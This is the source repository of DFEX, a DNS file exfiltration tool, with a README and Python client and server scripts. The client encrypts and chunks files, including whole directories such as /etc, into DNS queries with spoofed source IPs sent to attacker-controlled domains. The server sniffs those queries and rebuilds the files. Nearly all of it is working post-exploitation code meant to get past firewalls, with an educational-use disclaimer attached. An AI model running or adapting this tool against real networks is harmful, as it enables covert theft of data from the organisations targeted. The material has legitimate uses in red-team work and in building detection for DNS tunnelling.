├── requirements_server.txt
├── requirements_client.txt
├── LICENSE
├── README.md
├── dfex-server.py
└── dfex-client.py
/requirements_server.txt:
--------------------------------------------------------------------------------
1 | netifaces==0.10.9
2 | pyaes==1.6.1
3 | pyfiglet==0.8.post1
4 | pyscrypt==1.6.2
5 |
--------------------------------------------------------------------------------
/requirements_client.txt:
--------------------------------------------------------------------------------
1 | dnspython==1.16.0
2 | netifaces==0.10.9
3 | pyaes==1.6.1
4 | pyfiglet==0.8.post1
5 | pyscrypt==1.6.2
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Emilio
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | ## DNS File EXfiltration
4 |
5 | Data exfiltration is a common technique used for post-exploitation, DNS is one of the most common protocols through firewalls.
6 | We take the opportunity to build a unique protocol for transferring files across the network.
7 |
8 | Existing tools have some limitations and NG Firewalls are getting a bit "smarter", we have been obliged to explore new combinations of tactics to bypass these.
9 | Using the good old fashion "HIPS" (Hidden In Plain Sigh) tricks to push files out
10 |
11 | ----
12 |
13 | ## Installation
14 |
15 | ### Client
16 | ```
17 | apt-get install -y virtualenv python3 python3-pip git
18 | git clone https://github.com/secdev/scapy
19 | cd scapy
20 | sudo python setup.py install && cd .. && sudo rm -rf scapy
21 | ```
22 |
23 | ```
24 | virtualenv -p python3 dfex-client
25 | cd dfex-client
26 | source ./bin/activate
27 | ```
28 |
29 | ```
30 | git clone https://github.com/ekiojp/dfex
31 | cd dfex
32 | pip3 -r requirements_client.txt install
33 | ```
34 |
35 | ### Server
36 | ```
37 | apt-get install -y virtualenv python3 python3-pip git
38 | git clone https://github.com/secdev/scapy
39 | cd scapy
40 | sudo python setup.py install && cd .. && sudo rm -rf scapy
41 | ```
42 |
43 | ```
44 | virtualenv -p python3 dfex-server
45 | cd dfex-server
46 | source ./bin/activate
47 | ```
48 |
49 | ```
50 | git clone https://github.com/ekiojp/dfex
51 | cd dfex
52 | pip3 -r requirements_server.txt install
53 | ```
54 |
55 | ----
56 |
57 | ## Usage
58 |
59 | [Client](https://github.com/ekiojp/dfex/wiki/DFEX-Client)
60 |
61 | [Server](https://github.com/ekiojp/dfex/wiki/DFEX-Server)
62 |
63 | ----
64 |
65 | # Presentations
66 |
67 | ### Video
68 | [HITB GSEC (Aug 2019)](https://youtu.be/tm2dyKGVNko?t=7493)
69 | ### Slides
70 | [BSides Tokyo (Oct 2019)](https://speakerdeck.com/ekio_jp/dfex-dns-file-exfiltration-bsides-tokyo)
71 | [HITB GSEC (Aug 2019)](https://speakerdeck.com/ekio_jp/dfex-dns-file-exfiltration) or
72 | [HITB GSEC (Aug 2019)](https://gsec.hitb.org/materials/sg2019/D2%20COMMSEC%20-%20DFEX%20%e2%80%93%20DNS%20File%20EXfiltration%20-%20Emilio%20Couto.pdf)
73 |
74 | ----
75 |
76 | # ToDo
77 |
78 | - [ ] DDFEX - Distributed DNS File Exfiltration
79 | - [ ] Make the code nicer
80 |
81 | ----
82 |
83 | # Disclaimer
84 |
85 | The tool is provided for educational, research or testing purposes.
86 | Using this tool against network/systems without prior permission is illegal.
87 | The author is not liable for any damages from misuse of this tool, techniques or code.
88 |
89 | ----
90 |
91 | # Author
92 |
93 | Emilio / [@ekio_jp](https://twitter.com/ekio_jp)
94 |
95 | ----
96 |
97 | # Licence
98 |
99 | Please see [LICENSE](https://github.com/ekiojp/dfex/blob/master/LICENSE).
100 |
--------------------------------------------------------------------------------
/dfex-server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | import sys
4 | import argparse
5 | import binascii
6 | import re
7 | import time
8 | import zlib
9 | import pyaes
10 | import pyscrypt
11 | import base64
12 | import threading
13 | import netifaces as ni
14 | from netifaces import AF_INET
15 | from random import randint
16 | from pyfiglet import Figlet
17 | from scapy.all import *
18 |
19 | # Me
20 | __author__ = "Emilio / @ekio_jp"
21 | __version__ = "1.0"
22 |
23 | # Config
24 | DEBUG = False
25 | PHRASE = b'Waaaaa! awesome :)'
26 | SALT = b'salgruesa'
27 | SEED = '200'
28 | exfiles = {}
29 | iface = ''
30 |
31 |
32 | # Classes
33 | class FileHandler(threading.Thread):
34 | """
35 | Class to look dict and assemble file chunks
36 | Request re-transmission if need it
37 | It run every 5 seconds to check if any file to process
38 | """
39 | def __init__(self, exfiles):
40 | threading.Thread.__init__(self)
41 | self.stoprequest = threading.Event()
42 | self.exfiles = exfiles
43 | self.TRANSFER = []
44 |
45 | def run(self):
46 | while not self.stoprequest.isSet():
47 | time.sleep(5)
48 | # look for len of chunks exfiles(fileid) == pkttotals
49 | for k,v in self.exfiles.items():
50 | # for each FILEID (k)
51 | if k not in self.TRANSFER:
52 | chunk_len = len(exfiles[k]['chunk'])
53 | pkt_total = exfiles[k]['pkttotal']
54 | if chunk_len == pkt_total:
55 | real_name = decrypt(decoder(exfiles[k]['filecrypt'])).decode('utf-8')
56 | # sort and join chunks (str) into bytes
57 | filechunk = []
58 | for key, value in sorted(exfiles[k]['chunk'].items(), key = operator.itemgetter(0)):
59 | filechunk.append(value)
60 | filefull = ''.join(filechunk)
61 | deco = decoder(filefull)
62 | dec = decrypt(deco)
63 | decompress(dec, real_name)
64 | real_crc = crc(real_name)
65 | if real_crc == exfiles[k]['crc']:
66 | print('INFO: File ID: ' + k + ' (filename: ' + real_name + ')')
67 | print('INFO: Fiel ID: ' + k + ' (CRC32: ' + real_crc + ')')
68 | self.TRANSFER.append(k)
69 |
70 | def join(self):
71 | self.stoprequest.set()
72 |
73 |
74 | # Functions
75 | def crc(filename):
76 | # open file as byte and return crc32 in hex (8 char)
77 | fd = open(filename,'rb').read()
78 | b = (binascii.crc32(fd) & 0xFFFFFFFF)
79 | return '{:x}'.format(b)
80 |
81 | def decrypt(bytestream):
82 | # Hash passphrase + salt and decrypt using AES-CTR mode (return bytestream)
83 | key = pyscrypt.hash(PHRASE, SALT, 1024, 1, 1, 16)
84 | aes = pyaes.AESModeOfOperationCTR(key)
85 | return aes.decrypt(bytestream)
86 |
87 | def decompress(bytestream, filename):
88 | # decompress bytestream and write filename
89 | with open(filename, 'wb') as sfile:
90 | sfile.write(zlib.decompress(bytestream))
91 |
92 | def decoder(string):
93 | # correct pad, make uppercase and bytes
94 | # decode base32 and return bytestream
95 | pad = int(string[0])
96 | string = string[1:]
97 | if pad != 0:
98 | string = string + pad * '='
99 | bytestr = string.upper().encode()
100 | return base64.b32decode(bytestr)
101 |
102 | def missing(chunk, pkttotal):
103 | chunk_set = set()
104 | for key, value in chunk.items():
105 | chunk_set.add(key)
106 | return list(set(range(1,pkttotal+1)).difference(chunk_set))
107 |
108 | def senddns(fileid, seq, pkt):
109 | # Craft DNS packet and send query
110 | first = '{:04x}'.format(seq)[:2]
111 | second = '{:04x}'.format(seq)[2:]
112 | answer = SEED + '.' + str(int(fileid, 16)) + '.' + str(int(first, 16)) + '.' + str(int(second, 16))
113 | dnspkt = (Ether() /
114 | IP(ihl=5, src=pkt[IP].dst, dst=pkt[IP].src) /
115 | UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) /
116 | DNS(qr=1, rd=1, ra=1, ancount=1, qd=DNSQR(qtype='A')))
117 | dnspkt[DNS].qd = pkt[DNS].qd
118 | dnspkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname.decode('utf-8'), type='A', rclass='IN', ttl=randint(3000, 3600), rdata=answer)
119 | dnspkt[IP].id = randint(0, 0xFFFF)
120 | dnspkt[DNS].id = pkt[DNS].id
121 | sendp(dnspkt, iface=iface, verbose=0)
122 | time.sleep(5)
123 |
124 | def pkt_callback(pkt):
125 | if pkt.haslayer(DNS):
126 | qname = pkt[DNS].qd[DNSQR].qname.decode()
127 | chunk = qname.split('.')[0]
128 | fileid = chunk[:2]
129 | if any(qname.replace(chunk + '.', '')[:-1] in d for d in DATA):
130 | if chunk[2:6] == '0000':
131 | # query_fdname = self.fileid + '0000' + fdcrypt
132 | exfiles[fileid]['filecrypt'] = exfiles[fileid]['filecrypt'] + chunk[6:]
133 | else:
134 | # query_data = self.fileid + '{:04x}'.format(x) + chunks[x]
135 | seq = int(chunk[2:6], 16)
136 | exfiles[fileid]['chunk'][seq] = chunk[6:]
137 |
138 | elif any(qname.replace(chunk + '.', '')[:-1] in c for c in CONTROL):
139 | if (len(chunk) != 2) and (len(chunk) != 6):
140 | # first control packet
141 | # fileid + crcfd + '{:04x}'.format(pkttotal)
142 | exfiles[fileid] = {}
143 | exfiles[fileid]['filecrypt'] = ''
144 | exfiles[fileid]['chunk'] = {}
145 | exfiles[fileid]['pkttotal'] = int(chunk[-4:], 16)
146 | exfiles[fileid]['crc'] = chunk[2:10]
147 | else:
148 | # only if dict has pending True build DNS ANS for chuck missing
149 | if exfiles[fileid]['pkttotal'] != len(exfiles[fileid]['chunk']):
150 | # re-transmission packet
151 | seqmiss = missing(exfiles[fileid]['chunk'], exfiles[fileid]['pkttotal'])
152 | print('INFO: Chunk ' + ''.join(str(seqmiss)) + ' missing for File ID: ' + fileid)
153 | senddns(fileid, seqmiss[0], pkt)
154 |
155 |
156 | def parsingopt():
157 | f = Figlet(font='standard')
158 | print(f.renderText('DFEX'))
159 | print('Author: ' + __author__)
160 | print('Version: ' + __version__ + '\n')
161 | parser = argparse.ArgumentParser(add_help=True)
162 | command_group_dat = parser.add_mutually_exclusive_group(required=True)
163 | command_group_ctl = parser.add_mutually_exclusive_group(required=True)
164 | parser.add_argument('-v', dest='verbose', action='store_true', help='Enable debugging')
165 | parser.add_argument('-i', dest='nic', required=True, metavar='eth0', help='Interface')
166 | command_group_dat.add_argument('-d', dest='datdomain', metavar='dfex.dat.dom', help='Data domain')
167 | command_group_dat.add_argument('-D', dest='datdomainfd', metavar='data.txt', help='File with data domain (1 per line)')
168 | command_group_ctl.add_argument('-c', dest='ctldomain', metavar='dfex.ctrl.dom', help='Control domain')
169 | command_group_ctl.add_argument('-C', dest='ctldomainfd', metavar='control.txt', help='File with control domain (1 per line)')
170 | if len(sys.argv) > 1:
171 | try:
172 | return parser.parse_args()
173 | except(IOError):
174 | parser.error(str(IOError))
175 | else:
176 | parser.print_help()
177 | sys.exit(1)
178 |
179 |
180 | # Main Funtion
181 | def main():
182 | global DEBUG
183 | global DATA
184 | global CONTROL
185 | global exfiles
186 | global iface
187 |
188 | options = parsingopt()
189 |
190 | if options.verbose:
191 | DEBUG = True
192 |
193 | if options.nic in ni.interfaces():
194 | iface = options.nic
195 | else:
196 | print('ERROR: interface not valid')
197 | sys.exit(1)
198 |
199 | if options.datdomain:
200 | DATA = [options.datdomain]
201 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.datdomain):
202 | print('ERROR: Data domain not valid')
203 | sys.exit(1)
204 |
205 | if options.datdomainfd:
206 | try:
207 | with open(options.datdomainfd, 'r') as sfile:
208 | DATA = sfile.read().split()
209 | for x in DATA:
210 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x):
211 | print('ERROR: Data domain not valid ',x)
212 | sys.exit(1)
213 | except(OSError):
214 | print('ERROR: Can\'t read file',options.datdomainfd)
215 | sys.exit(1)
216 |
217 | if options.ctldomain:
218 | CONTROL = [options.ctldomain]
219 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.ctldomain):
220 | print('ERROR: Control domain not valid')
221 | sys.exit(1)
222 |
223 | if options.ctldomainfd:
224 | try:
225 | with open(options.ctldomainfd, 'r') as sfile:
226 | CONTROL = sfile.read().split()
227 | for x in CONTROL:
228 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x):
229 | print('ERROR: Control domain not valid ',x)
230 | sys.exit(1)
231 | except(OSError):
232 | print('ERROR: Can\'t read file',options.ctldomainfd)
233 | sys.exit(1)
234 |
235 | # New Thread daemon looking into exfiles for completed files
236 | fdh = FileHandler(exfiles)
237 | fdh.start()
238 |
239 | srcipreal = ni.ifaddresses(iface)[AF_INET][0]['addr']
240 | if DEBUG:
241 | print('DEBUG: realip :',srcipreal)
242 | print('DEBUG: interface :',iface)
243 | print('INFO: Listening....')
244 |
245 | # Main loop
246 | while True:
247 | try:
248 | sniff(iface=iface, prn=pkt_callback, filter="udp port 53 and not src " + srcipreal, store=0)
249 | print('\nSayonara')
250 | fdh.join()
251 | sys.exit(0)
252 | except KeyboardInterrupt:
253 | sys.exit(0)
254 |
255 |
256 | # Call main
257 | if __name__ == "__main__":
258 | main()
259 |
--------------------------------------------------------------------------------
/dfex-client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | import sys
4 | import argparse
5 | import binascii
6 | import re
7 | import time
8 | import os
9 | import zlib
10 | import pyaes
11 | import pyscrypt
12 | import base64
13 | from netifaces import AF_INET
14 | import netifaces as ni
15 | import ipaddress
16 | import threading
17 | from random import randint, shuffle
18 | from pyfiglet import Figlet
19 | import dns.resolver
20 | from scapy.all import *
21 |
22 | # Me
23 | __author__ = "Emilio / @ekio_jp"
24 | __version__ = "1.0"
25 |
26 | # Config
27 | DEBUG = False
28 | PHRASE = b'Waaaaa! awesome :)'
29 | SALT = b'salgruesa'
30 | CHAR = 20
31 | SEED = '200'
32 | RETRANSHOLD = 5
33 |
34 |
35 | # Classes
36 | class FileHandler(threading.Thread):
37 | """
38 | Class to send DNS NS request using spoof src IP
39 | filename = fullpath file to extract
40 | fileid = str of '00-ff' for file ID
41 | iface = interface for sending packets
42 | ctldomain is a list of control_domain
43 | datdomain is a list of data_domain
44 | network is IPv4Network object for src_ip, if None use local_lan
45 | datdomain is a list of data_domain
46 | network is IPv4Network object for src_ip, if None use local_lan
47 | server is a list of DNS server if None, use system_DNS (/etc/resolv.conf)
48 | """
49 |
50 | def __init__(self, filename, fileid, iface, ctldomain, datdomain, network, server):
51 | threading.Thread.__init__(self)
52 | self.filepath = filename
53 | self.fileid = fileid
54 | self.iface = iface
55 | self.ctldomain = ctldomain
56 | self.datdomain = datdomain
57 | self.net = network
58 | self.server = server
59 |
60 | def run(self):
61 | # make a list of IP's for spoofing
62 | if DEBUG:
63 | print('DEBUG: Network:',self.net)
64 | srcipreal = ni.ifaddresses(self.iface)[AF_INET][0]['addr']
65 | srcip = []
66 | for ip in list(self.net.hosts()):
67 | srcip.append(str(ip))
68 | shuffle(srcip)
69 | if DEBUG:
70 | print('DEBUG: Amount of SRC IP:',len(srcip))
71 |
72 | # compress, encrypt, encode and split
73 | filename = os.path.basename(self.filepath)
74 | fdcrypt = filenamecrypt(filename)
75 | crcfd = crc(self.filepath)
76 | ziped = compress(self.filepath)
77 | crypt = encrypt(ziped)
78 | enc = encoder(crypt)
79 | chunks = spliter(enc)
80 | pkttotal = len(chunks)
81 | print('INFO: File ID: ' + self.fileid + ' (CRC32: ' + crcfd + ')')
82 | if DEBUG:
83 | print('DEBUG: File ID: {} ({} chunks)'.format(self.fileid,pkttotal))
84 |
85 | # Sending Control Query
86 | ctldom = dompick(self.ctldomain)
87 | query = self.fileid + crcfd + '{:04x}'.format(pkttotal) + '.' + ctldom
88 | senddns(self.iface, srcipreal, query, self.server, 2)
89 |
90 | # Sending Data Query for filename (Seq 0000)
91 | datdom = dompick(self.datdomain)
92 | query = self.fileid + '0000' + fdcrypt + '.' + datdom
93 | senddns(self.iface, srcip[0], query, self.server, 2)
94 |
95 | # Generate SEQ list and shuffle order
96 | cnt = 0
97 | seq = []
98 | cnt = 0
99 | seq = []
100 | for x in range(1, pkttotal+1):
101 | seq.append(x)
102 | shuffle(seq)
103 |
104 | # Send each CHAR Data packet using random SEQ order and Data domains)
105 | for x in seq:
106 | datdom = dompick(self.datdomain)
107 | query = self.fileid + '{:04x}'.format(x) + chunks[x-1] + '.' + datdom
108 | senddns(self.iface, srcip[cnt], query, self.server, 2)
109 | if cnt >= len(srcip)-1:
110 | cnt = 0
111 | cnt = cnt + 1
112 | # Enable delay between DNS query if need it (WILL SLOW DOWN TRANSFER!)
113 | #time.sleep(randint(1, 3))
114 |
115 | # After all Data chunks sent, ask for retransmission
116 | RETRA = True
117 | cnt = 0
118 | reseqnum = '0000'
119 | while RETRA:
120 | # Sending Retransmission Query
121 | ctldom = dompick(self.ctldomain)
122 | query = self.fileid + reseqnum + '.' + ctldom
123 | if DEBUG:
124 | print('DEBUG: Retransmission Query:',self.iface, srcipreal, query, ''.join(self.server))
125 | ret = RetransHandler(self.iface, srcipreal)
126 | ret.daemon = True
127 | ret.start()
128 | time.sleep(0.5)
129 | senddns(self.iface, srcipreal, query, self.server, 1)
130 | time.sleep(RETRANSHOLD)
131 | ans = ret.join()
132 | print('INFO: Check {} seconds retransmission (File ID: {})'.format(str(RETRANSHOLD),self.fileid))
133 | if ans:
134 | if ans[DNS].qd[DNSQR].qname.decode() == self.fileid + reseqnum + '.' + ctldom + '.':
135 | ansip = ans[DNS].an[DNSRR].rdata.split('.')
136 | if (ansip[0] == SEED) and ('{:02x}'.format(int(ansip[1])) == self.fileid):
137 | reseq = int(('{:02x}'.format(int(ansip[2])) + '{:02x}'.format(int(ansip[3]))), 16)
138 | datdom = dompick(self.datdomain)
139 | query = self.fileid + '{:04x}'.format(reseq) + chunks[reseq-1] + '.' + datdom
140 | if DEBUG:
141 | print('DEBUG: retransmission Answer:',self.iface, srcip[cnt], query, ''.join(self.server))
142 | senddns(self.iface, srcip[cnt], query, self.server, 1)
143 | reseqnum = '{:04x}'.format(reseq)
144 | else:
145 | RETRA = False
146 |
147 |
148 | class RetransHandler(threading.Thread):
149 | def __init__(self, iface, srcip):
150 | threading.Thread.__init__(self)
151 | self.stoprequest = threading.Event()
152 | self.iface = iface
153 | self.srcip = srcip
154 | self._rtn_pkt = None
155 |
156 | def pkt_callbak(self, pkt):
157 | if pkt.haslayer(DNS):
158 | if pkt[DNS].an:
159 | self._rtn_pkt = pkt
160 | self.join()
161 |
162 | def run(self):
163 | while not self.stoprequest.isSet():
164 | sniff(iface=self.iface, prn=self.pkt_callbak,
165 | filter="udp port 53 and not src " + self.srcip, store=0, timeout=RETRANSHOLD)
166 |
167 | def join(self):
168 | self.stoprequest.set()
169 | return self._rtn_pkt
170 |
171 |
172 |
173 | # Functions
174 | def senddns(iface, srcip, query, servers, qtype):
175 | # Craft DNS query
176 | dnspkt = (Ether() /
177 | IP(ihl=5, src=srcip, dst=servers[randint(0,len(servers)-1)]) /
178 | UDP(sport=53, dport=53) /
179 | DNS(rd=1))
180 | #DNS(rd=1, qd=DNSQR(qtype=qtype)))
181 | dnspkt[DNS].qd = DNSQR(qname=query,qtype=qtype)
182 | dnspkt[IP].id = randint(0, 0xFFFF)
183 | dnspkt[DNS].id = randint(0, 0xFFFF)
184 | sendp(dnspkt, iface=iface, verbose=0)
185 |
186 | def crc(filename):
187 | # open file as byte and return crc32 in hex (8 char)
188 | fd = open(filename,'rb').read()
189 | b = (binascii.crc32(fd) & 0xFFFFFFFF)
190 | return '{:x}'.format(b)
191 |
192 | def initid():
193 | # return random hex from 00-FF
194 | return '{:02x}'.format(randint(0,0xFF))
195 |
196 | def nextid(id):
197 | # return str of next ID (hex) using prev ID + 1 (rollover if 0xFF)
198 | if int(id, 16) == 255:
199 | return '00'
200 | else:
201 | return '{:02x}'.format(int(id,16) + 1)
202 |
203 | def compress(filename):
204 | # open file as byte and compress using max level (9) and return bytestream
205 | fd = open(filename, 'rb').read()
206 | return zlib.compress(fd, 9)
207 |
208 | def encrypt(bytestream):
209 | # Hash passphrase + salt and encrypt using AES-CTR mode (return bytestream)
210 | key = pyscrypt.hash(PHRASE, SALT, 1024, 1, 1, 16)
211 | aes = pyaes.AESModeOfOperationCTR(key)
212 | cipherbyte = aes.encrypt(bytestream)
213 | return cipherbyte
214 |
215 | def encoder(bytestream):
216 | # encode base32 from bytes, add first number for 0-7 padding and delete '='
217 | # return just str (inc padding)
218 | enc = base64.b32encode(bytestream).decode('utf-8').lower()
219 | pad = len(enc) - len(enc.replace('=', ''))
220 | return str(pad) + enc.replace('=','')
221 |
222 | def spliter(stream):
223 | # take stream (str) as input and split by CHAR, return a str list
224 | array = [stream[i:i+CHAR] for i in range(0, len(stream), CHAR)]
225 | return array
226 |
227 | def dompick(domains):
228 | # return a random domain
229 | return domains[randint(0,len(domains)-1)]
230 |
231 | def filenamecrypt(filename):
232 | # encrypt & encode the filename for SEQ 0000 pkt
233 | crypt = encrypt(str.encode(filename))
234 | return encoder(crypt)
235 |
236 | def testdns(iface, servers):
237 | # test internal DNS if can resolve internet
238 | resolver = dns.resolver.Resolver()
239 | resolver.timeout = 1
240 | resolver.lifetime = 1
241 | resolver.nameservers = servers
242 | rtn = None
243 | try:
244 | answers = resolver.query("8.8.8.8.in-addr.arpa", "PTR")
245 | for rdata in answers:
246 | if 'dns.google.' in str(rdata):
247 | rtn = True
248 | return rtn
249 | return rtn
250 | except:
251 | return rtn
252 |
253 |
254 | def parsingopt():
255 | f = Figlet(font='standard')
256 | print(f.renderText('DFEX'))
257 | print('Author: ' + __author__)
258 | print('Version: ' + __version__ + '\n')
259 | parser = argparse.ArgumentParser(add_help=True)
260 | command_group_dat = parser.add_mutually_exclusive_group(required=True)
261 | command_group_ctl = parser.add_mutually_exclusive_group(required=True)
262 | command_group_fd = parser.add_mutually_exclusive_group(required=True)
263 | parser.add_argument('-v', dest='verbose', action='store_true', help='Enable debugging')
264 | parser.add_argument('-n', dest='net', metavar='10.10.10.0/24', help='Spoofing Network, default local network')
265 | parser.add_argument('-s', dest='supernet', metavar='3', help='Supernet, 3 will make /24 into /21')
266 | parser.add_argument('-dns', dest='nameserver', metavar='10.10.10.1', help='DNS Server, default use /etc/resolv.conf')
267 | parser.add_argument('-i', dest='nic', required=True, metavar='eth0', help='Interface')
268 | command_group_dat.add_argument('-d', dest='datdomain', metavar='dfex.dat.dom', help='Data domain')
269 | command_group_dat.add_argument('-D', dest='datdomainfd', metavar='data.txt', help='File with data domain (1 per line)')
270 | command_group_ctl.add_argument('-c', dest='ctldomain', metavar='dfex.ctrl.dom', help='Control domain')
271 | command_group_ctl.add_argument('-C', dest='ctldomainfd', metavar='control.txt', help='File with control domain (1 per line)')
272 | command_group_fd.add_argument('-f', dest='file', metavar='secret.xlsx', help='File to extrafiltrate')
273 | command_group_fd.add_argument('-F', dest='dir', metavar='/etc', help='Directory of files to exfiltrate')
274 | if len(sys.argv) > 1:
275 | try:
276 | return parser.parse_args()
277 | except(IOError):
278 | parser.error(str(IOError))
279 | else:
280 | parser.print_help()
281 | sys.exit(1)
282 |
283 |
284 | # Main Function
285 | def main():
286 | global DEBUG
287 | options = parsingopt()
288 |
289 | if options.verbose:
290 | DEBUG = True
291 |
292 | if options.nic in ni.interfaces():
293 | iface = options.nic
294 | else:
295 | print('ERROR: interface not valid')
296 | sys.exit(1)
297 |
298 | if options.net:
299 | try:
300 | network = ipaddress.IPv4Network(options.net)
301 | except:
302 | print('ERROR: network/netmask not valid')
303 | sys.exit(1)
304 | else:
305 | localip = ni.ifaddresses(iface)[AF_INET][0]['addr']
306 | localmask = ni.ifaddresses(iface)[AF_INET][0]['netmask']
307 | network = ipaddress.IPv4Network(localip + '/' + localmask, False)
308 |
309 | if options.supernet:
310 | if 31 >= int(options.supernet) >= 1:
311 | print(options.supernet)
312 | network = ipaddress.IPv4Network(network).supernet(prefixlen_diff=int(options.supernet))
313 | else:
314 | print('ERROR: invalid supernet (1-31)')
315 | sys.exit(1)
316 |
317 | if options.nameserver:
318 | server = [options.nameserver]
319 | else:
320 | server = re.findall(r'nameserver (.*)', open('/etc/resolv.conf').read())
321 |
322 | if options.datdomain:
323 | datdomain = [options.datdomain]
324 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.datdomain):
325 | print('ERROR: Data domain not valid')
326 | sys.exit(1)
327 |
328 | if options.datdomainfd:
329 | try:
330 | with open(options.datdomainfd, 'r') as sfile:
331 | datdomain = sfile.read().split()
332 | for x in datdomain:
333 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x):
334 | print('ERROR: Data domain not valid ',x)
335 | sys.exit(1)
336 | except(OSError):
337 | print('ERROR: Can\'t read file',options.datdomainfd)
338 | sys.exit(1)
339 |
340 | if options.ctldomain:
341 | ctldomain = [options.ctldomain]
342 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.ctldomain):
343 | print('ERROR: Control domain not valid')
344 | sys.exit(1)
345 |
346 | if options.ctldomainfd:
347 | try:
348 | with open(options.ctldomainfd, 'r') as sfile:
349 | ctldomain = sfile.read().split()
350 | for x in ctldomain:
351 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x):
352 | print('ERROR: Control domain not valid ',x)
353 | sys.exit(1)
354 | except(OSError):
355 | print('ERROR: Can\'t read file',options.ctldomainfd)
356 | sys.exit(1)
357 |
358 | if options.file:
359 | if os.path.exists(options.file):
360 | filename = [options.file]
361 | else:
362 | print('ERROR: file dont exist')
363 | sys.exit(1)
364 |
365 | if options.dir:
366 | filename = []
367 | for dirpath, dirnames, files in os.walk(options.dir):
368 | for names in files:
369 | filename.append(os.path.join(dirpath, names))
370 | if not filename:
371 | print('ERROR: directory empty')
372 | sys.exit(1)
373 |
374 | # Test DNS resolution
375 | if testdns(iface, server):
376 | fileid = initid()
377 | for fd in filename:
378 | print('INFO: Filename: {} (File ID: {})'.format(fd,fileid))
379 | fdh = FileHandler(fd, fileid, iface, ctldomain, datdomain, network, server)
380 | fdh.start()
381 | fileid = nextid(fileid)
382 | else:
383 | print('ERROR: No external DNS resolution using DNS Servers:',' '.join(server))
384 | sys.exit(1)
385 |
386 |
387 | # Call main
388 | if __name__ == "__main__":
389 | main()
390 |
--------------------------------------------------------------------------------